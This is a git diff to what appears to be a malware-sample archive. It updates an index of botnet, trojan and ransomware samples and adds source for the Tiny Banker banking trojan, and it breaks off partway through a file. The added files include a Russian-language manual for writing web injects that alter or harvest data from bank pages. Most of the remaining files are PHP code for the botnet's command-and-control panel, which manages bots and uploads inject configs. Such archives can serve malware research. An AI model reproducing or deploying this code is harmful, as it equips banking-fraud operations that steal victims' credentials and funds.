diff --git a/conf/index.csv b/conf/index.csv index d2810a2..65df56f 100644 --- a/conf/index.csv +++ b/conf/index.csv @@ -1,17 +1,17 @@ 1,Source/Original/Dokan_Dec2008/Dokan_Dec2008,botnet,Dokan,unknown,unknown,c,00/12/2008,x86,win32,0 -3,Source/Original/ShadowBotv3_March2007/ShadowBotv3_March2007,botnet,ShadowBot,3,unknown,cpp,03/2007,x86,win32,0 +3,Source/Original/ShadowBotv3_March2007/ShadowBotv3_March2007,botnet,ShadowBot,3,unknown,cpp,Mar-07,x86,win32,0 4,Source/Original/rBot0.3.3_May2004/rBot0.3.3_May2004,botnet,rBot,0.3.3,unknown,cpp,00/05/2004,x86,win32,0 -5,Source/Original/ZeuS2.0.8.9_Feb2013/ZeuS2.0.8.9_Feb2013,botnet,ZeuS,2.0.8.9,unknown,c,02/2013,x86,win32,1 +5,Source/Original/ZeuS2.0.8.9_Feb2013/ZeuS2.0.8.9_Feb2013,botnet,ZeuS,2.0.8.9,unknown,c,Feb-13,x86,win32,1 6,Source/Original/X0R-USB_Jan2009/X0R-USB_Jan2009,virus,X0R-USB-Virus,unknown,unknown,c,00/01/2009,x86,win32,0 7,Source/Original/LoexBot1.3_Sep2008/LoexBot1.3_Sep2008,botnet,LoexBot,1.3,unknown,cpp,00/09/2008,x86,win32,0 -8,Source/Original/ZunkerBot1.4.5_Sep2007/ZunkerBot1.4.5_Sep2007,botnet,ZunkerBot,1.4.5,unknown,php,09/2007,x86,win32,0 +8,Source/Original/ZunkerBot1.4.5_Sep2007/ZunkerBot1.4.5_Sep2007,botnet,ZunkerBot,1.4.5,unknown,php,Sep-07,x86,win32,0 9,Source/Original/DopeBotv0.22_UnCrippled_Feb2007/DopeBotv0.22_UnCrippled_Feb2007,botnet,DopeBot-UnCrippled,0.22,unknown,cpp,00/02/2007,x86,win32,0 -10,Source/Original/vbBot_Jan2007/vbBot_Jan2007,botnet,vbBot,unknown,unknown,vb,01/2007,x86,win32,0 -11,Source/Original/xTBot0.0.2_2Feb2002/xTBot0.0.2_2Feb2002,botnet,xTBot,0.0.2,unknown,cpp,02/2002,x86,win32,0 +10,Source/Original/vbBot_Jan2007/vbBot_Jan2007,botnet,vbBot,unknown,unknown,vb,Jan-07,x86,win32,0 +11,Source/Original/xTBot0.0.2_2Feb2002/xTBot0.0.2_2Feb2002,botnet,xTBot,0.0.2,unknown,cpp,Feb-02,x86,win32,0 12,Source/Original/VBS.Win32.Vabian/VBS.Win32.Vabian,VBS-Worm,VBS.Win32.Vabian,botnet,unknown,vb,unknown,x86,win32,0 13,Source/Original/DopeBotv0.22_CrippledFeb2007/DopeBotv0.22_CrippledFeb2007,botnet,DopeBot-Crippled,0.22,unknown,cpp,00/02/2007,x86,win32,0 14,Source/Original/Win32.MiniPig_Nov2006/Win32.MiniPig_Nov2006,Worm,Win32.MiniPig,virus,unknown,c,00/11/2006,x86,win32,0 -15,Source/Original/HellBotv3.0_10June2005/HellBotv3.0_10June2005,botnet,Hellbot,3.0,unknown,cpp,00/06/2005,x86,win32,0 +15,Source/Original/HellBotv3.0_10June2005/HellBotv3.0_10June2005,botnet,Hellbot,3,unknown,cpp,00/06/2005,x86,win32,0 16,Source/Original/Win32.ogw0rm_Nov2008/Win32.ogw0rm_Nov2008,Worm,Win32.ogwOrm,unknown,unknown,cpp,00/11/2008,x86,win32,0 17,Source/Original/DopeBot.B_Dec2004/DopeBot.B_Dec2004,botnet,DopeBot.B,unknown,unknown,cpp,00/12/2004,x86,win32,0 18,Source/Original/LiquidBot_May2005/LiquidBot_May2005,botnet,LiquidBot,unknown,unknown,cpp,00/05/2005,x86,win32,0 @@ -28,11 +28,11 @@ 29,Binaries/Trojan.Dropper.Gen/Trojan.Dropper.Gen,trojan,Dropper,Unknown,Unknown,bin,00/01/2014,x86,win32,0 30,Binaries/Trojan.NSIS.Win32/Trojan.NSIS.Win32,trojan,NSIS,Unknown,Unknown,bin,00/01/2014,x86,win32,0 31,Binaries/Trojan.Win32.Bechiro.BCD/Trojan.Win32.Bechiro.BCD,trojan,Bechiro,BCD,Unknown,bin,00/01/2014,x86,win32,0 -32,Binaries/AndroRat_6Dec2013/AndroRat_6Dec2013,botnet,AndroRat,Dec2013,Unknown,java,06/12/2013,x86,win32,0 -33,Binaries/CryptoLocker_22Jan2014/CryptoLocker_22Jan2014,ransomeware,CryptoLocker,Jan2014,Unknown,bin,22/01/2014,x86,win32,1 +32,Binaries/AndroRat_6Dec2013/AndroRat_6Dec2013,botnet,AndroRat,Dec-13,Unknown,java,06/12/2013,x86,win32,0 +33,Binaries/CryptoLocker_22Jan2014/CryptoLocker_22Jan2014,ransomeware,CryptoLocker,Jan-14,Unknown,bin,22/01/2014,x86,win32,1 34,Binaries/njRAT-v0.6.4/njRAT-v0.6.4,botnet,njRAT,0.6.4,Unknown,bin,00/09/2013,x86,win32,0 -35,Binaries/ZeusBankingVersion_26Nov2013/ZeusBankingVersion_26Nov2013,botnet,Zeus - zBot,Nov2013,Unknown,bin,23/11/2013,x86,win32,1 -36,Source/Original/NullBot_Dec2006/NullBot_Dec2006,botnet,NullBot,Dec2006,Unknown,cpp,00/12/2006,x86,win32,0 +35,Binaries/ZeusBankingVersion_26Nov2013/ZeusBankingVersion_26Nov2013,botnet,Zeus - zBot,Nov-13,Unknown,bin,23/11/2013,x86,win32,1 +36,Source/Original/NullBot_Dec2006/NullBot_Dec2006,botnet,NullBot,Dec-06,Unknown,cpp,00/12/2006,x86,win32,0 37,Binaries/Artemis,trojan,Artemis,Unknown,Unknown,bin,00/00/0000,x86,win32,0 38,Binaries/Somoto,apt,Somoto,unknown,unknown,bin,00/00/0000,x86,win32,0 39,Binaries/Variant.Kazy,trojan,Variant.Kazy,unknown,unknown,bin,00/00/0000,x86,win32,0 @@ -59,3 +59,4 @@ 60,Binaries/SpyEye,botnet,SpyEye,Unknown,Unknown,bin,23/06/2014,x86,win32,0 61,Binaries/Powerliks,botnet,Powerliks,Unknown,Unknown,bin,09/08/2014,x86,win32,1 62,Binaries/ZeroLocker,ransomware,Zerolocker,A,Unknown,bin,09/08/2014,x86,win32,0 +63,Sources/Original/TinyBanker_Jan2012,botnet,Tiny Banker,A,Russia,asm,00/01/2012,x86,win32,0 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/INJECTS.TXT b/malwares/Source/Original/TinyBanker_Jan2012/INJECTS.TXT new file mode 100644 index 0000000..d386067 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/INJECTS.TXT @@ -0,0 +1,215 @@ +08.04.12 +РУКОВОДСТВО ПО НАПИСАНИЮ ВЕБ-ИНЖЕКТОВ + +Команда set_url (без учета регистра) должна находиться в начале строки и содержать 2 параметра в указаном порядке: +Маска URL на котором веб-инжект должен срабатывать и набор флагов которые опеределяют условия срабатывания и поведения веб-инжекта. +Флаги могут быть указаны в любом порядке без учета регистра. Разделителем между командой set_url и ее параметрами служит пробел. +Список доступных флагов: + G - веб-инжект срабатывает при GET запросе на указаный URL + P - веб-инжект срабатывает при POST запросе на указаный URL + L - меняет поведение веб-инжекта, из веб-страницы извлекаются данные и отправляются в лог +Символы маски: + * - любое количество любых символов, или ни одного символа + # - одна любая цифра, или символ # + ? - один любой символ + остальные символы маски сравниваются без учета регистра +После команды set_url начинается перечисление элементов веб-инжекта. Оно длится до новой команды set_url или до конца файла. +Один веб-инжект состоит из трех видов элементов в любом порядке и количестве: data_before, data_inject, data_after. +Элемент должен начинаться его названием без учета регистра, должен находиться в начале строки и заканчиваться переносом строки. +Элемент должен заканчиваться командой data_end без учета регистра, которая должна находиться в начале строки и заканчиваться переносом строки. +Данные между началом и концом элемента являются телом элемента. Тело элемента может быть пустым, может содержать любые символы. +Назначение тел элементов: + data_before - маска данных которые находятся до заменяемых или извлекаемых данных + data_after - маска данных которые находятся после заменяемых или извлекаемых данных + data_inject - заменяющие данные, либо заголовок извлекаемых данных +Маска данных не учитывает регистр символов, игнорирует одинарную и двойную кавычку, пробелы и любые виды перевода строк. + +Пример #1. Простейший веб-инжект: +set_url http://ya.ru/ gp +data_before + +data_end +data_inject +New Title +data_end +data_after + +data_end +Веб-инжект должен срабатывать на странице http://ya.ru/ при GET и POST запросе. +Заменяющие данные New Title вставляются вместо данных находящихся между и . Проще говоря происходит замена заголовка страницы. + +Пример #2. Любой порядок и количество видов элементов: +SET_URL http://ya.ru/ PG +DATA_BEFORE + +DATA_END +DATA_AFTER + +DATA_END +data_after + +data_end +data_before +New Body +data_end +В веб-инжекте с множеством одинаковых видов элементов их группы формируются в порядке очереди. +Рекомендуется не перемешивать элементы подобным образом для удобочитаемости и избежания возникновения ошибок в порядке очереди. +Первый найденый в списке data_before группируется с первым найденым в списке data_after и первым найденым в списке data_inject. +Второй найденый в списке data_before группируется со вторым найденым в списке data_after и вторым найденым в списке data_inject. и т.д. + +Пример #3. Маски: +set_url *Ya.Ru* GP +data_before + +data_end +data_inject +MASK +data_end +data_after + +data_end +Веб-инжект должен срабатывать на страницах в названиях которых содержится текст ya.ru (без учета регистра) при GET и POST запросе. +Заменяющие данные MASK вставляются вместо данных находящихся между найдеными по маскам и . Под них попадают теги и . + +Пример #4. Извлечение данных: +set_url http://ya.ru/ GPL +data_before + +data_end +data_inject +Grabbed Title +data_end +data_after + +data_end +Веб-инжект должен срабатывать на странице http://ya.ru/ при GET и POST запросе. +Данные находящиеся между и отправляются в лог и помечаются текстом Grabbed Title. + + + + + +МАКРОСЫ + +Макросы используются в data_inject +%BOTUID% (без учета регистра) - заменяется на уникальный идентификатор бота +%BOTDATA_varname% (без учета регистра) - заменяется на ранее сохраненную переменную с именем varname + +Сохранение переменных происходит через GET запрос на любой адрес. +Если в запросе распознается команда на сохранение переменных, то такой запрос на сервер не отсылается +Пример команды на сохранение переменной: %SAVEDATA_varname=777% - значение 777 сохраняется в переменной varname +Пример запроса: http://microsoft.com/?blabla%SAVEDATA_var1=one%blabla%SAVEDATA_var2=two%blabla + + + + + +ПОВЕДЕНИЕ ВЕБ-ИНЖЕКТОВ ПРИ КОМБИНИРОВАНИИ ПУСТЫХ И ЗАПОЛНЕНЫХ ТЕЛ ЭЛЕМЕНТОВ БЕЗ ФЛАГА L И С НИМ + +Вариант #1. Все элементы заполнены: +set_url http://ya.ru/ G(L) +data_before + +data_end +data_inject +#1 +data_end +data_after + +data_end +Данные data_inject заменяют данные между data_before и data_after +(L)Данные между data_before и data_after отправляются в лог и помечаются как data_inject + +Вариант #2. Все элементы пусты: +set_url http://ya.ru/ G(L) +data_before +data_end +data_inject +data_end +data_after +data_end +Данные от начала до конца страницы удаляются +(L)Данные от начала до конца страницы отправляются в лог + +Вариант #3. Элементы data_before и data_after пусты, data_inject заполнен: +set_url http://ya.ru/ G(L) +data_before +data_end +data_inject +#3 +data_end +data_after +data_end +Данные data_inject добавляются в начало страницы +(L)Данные от начала до конца страницы отправляются в лог и помечаются как data_inject + +Вариант #4. Элементы data_inject и data_after пусты, data_before заполнен: +set_url http://ya.ru/ G(L) +data_before + +data_end +data_inject +data_end +data_after +data_end +Данные после data_before удаляются +(L)Данные после data_before отправляются в лог + +Вариант #5. Элементы data_before и data_inject пусты, data_after заполнен: +set_url http://ya.ru/ G(L) +data_before +data_end +data_inject +data_end +data_after + +data_end +Данные перед data_after удаляются +(L)Данные перед data_after отправляются в лог + +Вариант #6. Элементы data_before и data_after заполнены, data_inject пуст: +set_url http://ya.ru/ G(L) +data_before + +data_end +data_inject +data_end +data_after + +data_end +Данные между data_before и data_after удаляются +(L)Данные между data_before и data_after отправляются в лог + +Вариант #7. Элементы data_inject и data_after заполнены, data_before пуст: +set_url http://ya.ru/ G(L) +data_before +data_end +data_inject +#7 +data_end +data_after + +data_end +Данные data_inject добавляются перед data_after +(L)Данные перед data_after отправляются в лог и помечаются как data_inject + + +Вариант #8. Элементы data_before и data_inject заполнены, data_after пуст: +set_url http://ya.ru/ G(L) +data_before + +data_end +data_inject +#8 +data_end +data_after +data_end +Данные data_inject добавляются после data_before +(L)Данные после data_before отправляются в лог и помечаются как data_inject + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/.htaccess b/malwares/Source/Original/TinyBanker_Jan2012/admin/.htaccess new file mode 100644 index 0000000..45552cb --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/.htaccess @@ -0,0 +1 @@ +Options -Indexes \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/AJAX_REQUEST_LOG.txt b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/AJAX_REQUEST_LOG.txt new file mode 100644 index 0000000..adf6e50 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/AJAX_REQUEST_LOG.txt @@ -0,0 +1 @@ +logs_ids=&bots_uids=&from_date=logs_120424&to_date=logs_120424&from_time=&to_time=&ip_mask%5B%5D=&ip_mask%5B%5D=&ip_mask%5B%5D=&ip_mask%5B%5D=&phrase=&limit=999 \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.act.php new file mode 100644 index 0000000..1d0f7f4 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.act.php @@ -0,0 +1,44 @@ +<?php + + if (!BOT) exit(); + + +if (isset($_POST['botnet'])) { + if (array_key_exists($_POST['botnet'], $BOTNETS)) exit('Botnet name already exist'); + if (strlen($_POST['botnet']) > 12) exit('Botnet name too long'); + if (!preg_match("/^[a-zA-Z0-9_]+$/", $_POST['botnet'])) exit('Botnet name tabcontains forbidden symbols'); + if (strlen($_POST['passwd']) > 16) exit('Botnet password too long'); + if (!preg_match("/^[a-zA-Z0-9_]+$/", $_POST['passwd'])) exit('Botnet password tabcontains forbidden symbols'); + if (strlen($_POST['comment']) > 128) exit('Comment too long'); + if ($_POST['comment']!='' and !preg_match("/^[a-zA-Z0-9\s.,_]+$/", $_POST['comment'])) exit('Comment tabcontains forbidden symbols'); + + $fp = fopen('../data/titles/botnets.php', 'a'); + flock($fp, LOCK_EX); + fwrite ($fp, " \$BOTNETS['{$_POST['botnet']}'] = array('password' => '{$_POST['passwd']}', 'comment' => '{$_POST['comment']}');\n"); + flock($fp, LOCK_UN); + fclose ($fp); + + exit('success'); +} + + +if (isset($_POST['supplier'])) { + if (array_key_exists($_POST['supplier'], $SUPPLIERS)) exit('Supplier name already exist'); + if (strlen($_POST['supplier']) > 12) exit('Supplier name too long'); + if (!preg_match("/^[a-zA-Z0-9_]+$/", $_POST['supplier'])) exit('Supplier name tabcontains forbidden symbols'); + if (strlen($_POST['comment']) > 128) exit('Comment too long'); + if ($_POST['comment']!='' and !preg_match("/^[a-zA-Z0-9\s.,_]+$/", $_POST['comment'])) exit('Comment tabcontains forbidden symbols'); + + $fp = fopen('../data/titles/suppliers.php', 'a'); + flock($fp, LOCK_EX); + fwrite ($fp, " \$SUPPLIERS['{$_POST['supplier']}'] = array('comment' => '{$_POST['comment']}');\n"); + flock($fp, LOCK_UN); + fclose ($fp); + + exit('success'); +} + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.botnets.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.botnets.php new file mode 100644 index 0000000..4e40a58 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.botnets.php @@ -0,0 +1,58 @@ +<?php + + if (!BOT) exit(); + + + print "<table id='botnets' cellspacing=1 cellpadding=0 class='block'> +<tr class='bothdr'> + <td width=15%>BotNET</td> + <td width=15%>Password</td> + <td width=10%>Bots</td> + <td width=60%>Comment</td> +</tr>\n\n"; + + + reset($BOTNETS); + while ($val = current($BOTNETS)) { + $key = key($BOTNETS); + print "<tr class='botstr'> + <td align=left>[ <b>{$key}</b> ]</td> + <td>{$val['password']}</td> + <td>200000</td> + <td>{$val['comment']}</td> +</tr>\n"; + next($BOTNETS); + } + + + print "</table> + + +<form id='newbotnet'> +<table cellspacing=1 cellpadding=0 class='block'> + <tr> + <td width=15%><input type='text' name='botnet' maxlength=12 id='botnet'></td> + <td width=15%><input type='text' name='passwd' maxlength=16 id='passwd'></td> + <td width=60%><input type='text' name='comment' maxlength=128 id='comment'></td> + <td width=10%><input type='submit' value='Add new botnet' class='srchbtn'></td> + </tr> +</table> +</form> + + +<script> + $('#newbotnet').submit(function() { + var frm = $(this); + if ($(frm).find('#botnet').val() == '') { alert('Botnet name is not specified'); return false; } + if ($(frm).find('#passwd').val() == '') { alert('Botnet password is not specified'); return false; } + $(frm).find(':submit').attr('disabled', true); + $.post('?botnets', $(frm).serialize(), function(data) { + if (data == 'success') $('#botnets').append('<tr class=\'botstr\'><td align=left>[ <b>'+$(frm).find('#botnet').val()+'</b> ]</td><td>'+$(frm).find('#passwd').val()+'</td><td>200000</td><td>'+$(frm).find('#comment').val()+'</td></tr>'); + else alert(data); + $(frm).find(':submit').attr('disabled', false); + }); + return false; + }); +</script>\n\n\n"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.bots.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.bots.php new file mode 100644 index 0000000..732926a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.bots.php @@ -0,0 +1,45 @@ +<?php + + if (!BOT) exit(); + + + + print "<table cellspacing=1 cellpadding=0 class=block> +<tr class=bothdr> + <td width=15%>UID</td> + <td width=4%>OS</td> + <td width=10%>[ISO] Country</td> + <td width=10%>IP</td> + <td width=10%>Time</td> + <td width=10%>Botnet</td> + <td width=10%>Supplier (sub)</td> + <td width=25%>Comment</td> + <td width=6%>Control</td> +</tr>\n"; + + + $result = mysql_query("SELECT * FROM `bots` LIMIT 50;") or die("Query failed : " . mysql_error()); + while ($row = mysql_fetch_array($result)) { + print "<tr class=botstr> + <td class=botleft><div style='width:180px;'>{$row['bot_uid']}</div></td> + <td>{$row['bot_os']}</td> + <td class=botleft><div style='width:119px;'>[{$row['bot_country']}] {$GeoIP->GEOIP_COUNTRY_NAMES[$GeoIP->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['bot_country']]]}</div></td> + <td>{$row['bot_ip']}</td> + <td>".date("d/m/Y - H:i:s", $row['time_last'])."</td> + <td><div style='width:119px;'>[ {$row['bot_net']} ]</div></td> + <td><div style='width:119px;'>[ {$row['bot_supp']} ] ({$row['supp_sub']})</div></td> + <td class=botleft><div style='width:303px;'>{$row['comment']}</div></td> + <td>000</td> +</tr>\n"; + } + + + + + print "</table> + + +<script> +</script>\n\n\n"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.php new file mode 100644 index 0000000..e90b4e4 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.php @@ -0,0 +1,62 @@ +<?php + + if (!BOT) exit(); + + + if (IS_AJAX_REQUEST) include "botnets.act.php"; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>BOTs</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>BotNETs</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>Suppliers</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin -->\n"; + include "botnets.bots.php"; + print " <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin -->\n"; + include "botnets.botnets.php"; + print " <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin -->\n"; + include "botnets.suppliers.php"; + print " <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.suppliers.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.suppliers.php new file mode 100644 index 0000000..6d7f0d5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.suppliers.php @@ -0,0 +1,57 @@ +<?php + + if (!BOT) exit(); + + + print "<table id='suppliers' cellspacing=1 cellpadding=0 class='block'> +<tr class='bothdr'> + <td width=15%>Supplier</td> + <td width=10%>Bots</td> + <td width=75%>Comment</td> +</tr>\n\n"; + + + + reset($SUPPLIERS); + while ($val = current($SUPPLIERS)) { + $key = key($SUPPLIERS); + print "<tr class='botstr'> + <td align=left>[ <b>{$key}</b> ]</td> + <td>200000</td> + <td>{$val['comment']}</td> +</tr>\n"; + next($SUPPLIERS); + } + + + + print "</table> + + +<form id='newsupplier'> +<table cellspacing=1 cellpadding=0 class='block'> + <tr> + <td width=15%><input type='text' name='supplier' maxlength=12 id='supplier'></td> + <td width=75%><input type='text' name='comment' maxlength=128 id='comment'></td> + <td width=10%><input type='submit' value='Add new supplier' class='srchbtn'></td> + </tr> +</table> +</form> + + + +<script> + $('#newsupplier').submit(function() { + var frm = $(this); + if ($(frm).find('#supplier').val() == '') { alert('Supplier name is not specified'); return false; } + $(frm).find(':submit').attr('disabled', true); + $.post('?botnets', $(frm).serialize(), function(data) { + if (data == 'success') $('#suppliers').append('<tr class=\'botstr\'><td align=left>[ <b>'+$(frm).find('#supplier').val()+'</b> ]</td><td>200000</td><td>'+$(frm).find('#comment').val()+'</td></tr>'); + else alert(data); + $(frm).find(':submit').attr('disabled', false); + }); + return false; + }); +</script>\n\n\n"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.act.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.configs.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.configs.php new file mode 100644 index 0000000..68c2276 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.configs.php @@ -0,0 +1,38 @@ +<?php + + if (!BOT) exit(); + + + + if ($_POST['delete']) { + unlink('../data/configs/config'); + } + elseif (!empty($_FILES)) { + $DATA = file_get_contents($_FILES['cfgfile']['tmp_name']); + $DATA = str_replace("\r\n", "\n", $DATA); + $DATA = str_replace("\r", "\n", $DATA); + file_put_contents('../data/configs/config', "\n".$DATA."\n"); + } + + + clearstatcache(); + $STAT = @stat('../data/configs/config'); + + print "<form method=post enctype=multipart/form-data> +<table cellspacing=1 cellpadding=0 class=block> + <tr> + <td width=250px><b>CONFIGS<br><br>"; + + + if ($STAT['mtime']) print " file size: {$STAT['size']} bytes<br> + uploaded: ".date("d/m/Y - H:i:s", $STAT['mtime'])."</b><br><br> + <input type=submit class=button name='delete' value='DELETE'>"; + + + print "</td> + <td><input type=file style='width:200px;' name='cfgfile'> <input type=submit class=button value='GO'></td> + </tr> +</table> +</form>"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.correlation.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.correlation.php new file mode 100644 index 0000000..e4bf5df --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.correlation.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "correlation"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.editor.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.editor.php new file mode 100644 index 0000000..b7e031b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.editor.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "editor"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.php new file mode 100644 index 0000000..202d7b1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.php @@ -0,0 +1,62 @@ +<?php + + if (!BOT) exit(); + + + if (IS_AJAX_REQUEST) include "configs.act.php"; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>Configs</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>Correlation</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>Editor</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin -->\n"; + include "configs.configs.php"; + print " <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin -->\n"; + include "configs.correlation.php"; + print " <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin -->\n"; + include "configs.editor.php"; + print " <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.act.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events1.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events1.php new file mode 100644 index 0000000..b00f0c7 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events1.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "events1"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events2.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events2.php new file mode 100644 index 0000000..6b5a40f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events2.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "events2"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events3.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events3.php new file mode 100644 index 0000000..0bad666 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events3.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "events3"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.php new file mode 100644 index 0000000..8cbf2ac --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.php @@ -0,0 +1,62 @@ +<?php + + if (!BOT) exit(); + + + if (IS_AJAX_REQUEST) include "events.act.php"; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>events1</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>events2</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>events3</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin -->\n"; + include "events.events1.php"; + print " <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin -->\n"; + include "events.events2.php"; + print " <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin -->\n"; + include "events.events3.php"; + print " <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.act.php @@ -0,0 